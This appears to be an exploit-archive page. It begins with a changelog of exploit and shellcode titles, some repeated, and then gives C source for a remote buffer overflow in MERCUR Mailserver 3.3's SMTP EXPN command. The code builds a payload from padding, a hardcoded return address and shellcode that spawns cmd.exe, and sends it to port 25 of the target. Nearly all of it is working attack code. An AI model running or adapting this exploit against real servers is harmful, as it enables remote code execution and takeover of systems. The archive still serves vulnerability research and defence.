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14991 changes to exploits/shellcodes HTC Touch - vCard over IP Denial of Service TeamSpeak 3.0.0-beta25 - Multiple Vulnerabilities PeerBlock 1.1 - Blue Screen of Death WS10 Data Server - SCADA Overflow (PoC) Symantec Endpoint Protection 12.1.4013 - Service Disabling Memcached 1.4.33 - 'Crash' (PoC) Memcached 1.4.33 - 'Add' (PoC) Memcached 1.4.33 - 'sasl' (PoC) Memcached 1.4.33 - 'Crash' (PoC) Memcached 1.4.33 - 'Add' (PoC) Memcached 1.4.33 - 'sasl' (PoC) Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow man-db 2.4.1 - 'open_cat_stream()' Local uid=man CDRecord's ReadCD - '$RSH exec()' SUID Shell Creation CDRecord's ReadCD - Local Privilege Escalation Anyburn 4.3 x86 - 'Copy disc to image file' Buffer Overflow (Unicode) (SEH) FreeBSD - Intel SYSRET Privilege Escalation (Metasploit) CCProxy 6.2 - 'ping' Remote Buffer Overflow Savant Web Server 3.1 - Remote Buffer Overflow (2) Litespeed Web Server 4.0.17 with PHP (FreeBSD) - Remote Overflow Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow QNAP TS-431 QTS < 4.2.2 - Remote Command Execution (Metasploit) Imperva SecureSphere 13.x - 'PWS' Command Injection (Metasploit) Drupal < 8.5.11 / < 8.6.10 - RESTful Web Services unserialize() Remote Command Execution (Metasploit) Oracle Weblogic Server - Deserialization Remote Command Execution (Patch Bypass) TeamCity < 9.0.2 - Disabled Registration Bypass OpenSSH SCP Client - Write Arbitrary Files Kados R10 GreenBee - Multiple SQL Injection WordPress Core 5.0 - Remote Code Execution phpBB 3.2.3 - Remote Code Execution Linux/x86 - Create File With Permission 7775 + exit() Shellcode (Generator) Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes)
83 lines
No EOL
2.1 KiB
C
83 lines
No EOL
2.1 KiB
C
// source: https://www.securityfocus.com/bid/2412/info
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Atrium Software Mercur Mail Server 3.3 contains an unchecked buffer for the EXPN command which may lead to a denial of service attack or execution of arbitrary code depending on the data entered.
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If a remote attacker were to telnet to the SMTP server and enter an overly long string of random characters following the EXPN command, the remote target would crash. The execution of arbitrary code is possible if a carefully crafted string that overwrote the EIP was entered into the buffer. The attacker would be able to perform virtually any action on the remote system under the context of the LocalSystem account.
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/*
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MERCUR Mailserver 3.3 Remote Buffer Overflow
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Tested on Win2K AS SP1 with MERCUR SMTP-
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Server v3.30.03
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Martin Rakhmanoff
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martin@direct.spb.ru
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*/
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#include <winsock2.h>
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#include <stdio.h>
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/* \x63\x6D\x64\x2E\x65\x78\x65 - simply 'cmd.exe' */
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char shellcode[] =
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"\x8B\xC4\x83\xC0\x17\x50\xB8\x0E\xB5\xE9\x77
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\xFF\xD0\x33\xDB\x53"
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"\xB8\x2D\xF3\xE8\x77\xFF\xD0\x63\x6D\x64
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\x2E\x65\x78\x65\x0D\x0A";
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/*
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In SoftICE bpx 001b:00418b65 - here eip is restored
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with overwritten
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value...
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*/
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int main(int argc, char * argv[]){
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int i;
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char sploit[512];
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char buffer[512];
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WSADATA wsaData;
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SOCKET sock;
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struct sockaddr_in server;
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struct hostent *hp;
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WSAStartup(0x202,&wsaData);
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hp = gethostbyname("arena");
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memset(&server,0,sizeof(server));
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memcpy(&(server.sin_addr),hp->h_addr,hp-
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>h_length);
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server.sin_family = hp->h_addrtype;
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server.sin_port = htons(25);
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sock = socket(AF_INET,SOCK_STREAM,0);
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connect(sock,(struct sockaddr*)&server,sizeof
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(server));
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sploit[0]='E';
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sploit[1]='X';
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sploit[2]='P';
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sploit[3]='N';
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sploit[4]=0x20;
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for(i=5;i<137;i++){
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sploit[i]=0x41;
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}
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// Return address
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//77E87D8B
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sploit[137]=0x8B;
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sploit[138]=0x89;
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sploit[139]=0xE8;
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sploit[140]=0x77;
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for(i=0;i<sizeof(shellcode);i++){
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sploit[i+141]=shellcode[i];
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}
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recv(sock,buffer,512,0);
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send(sock,sploit,173,0);
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closesocket(sock);
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WSACleanup();
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return 0;
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} |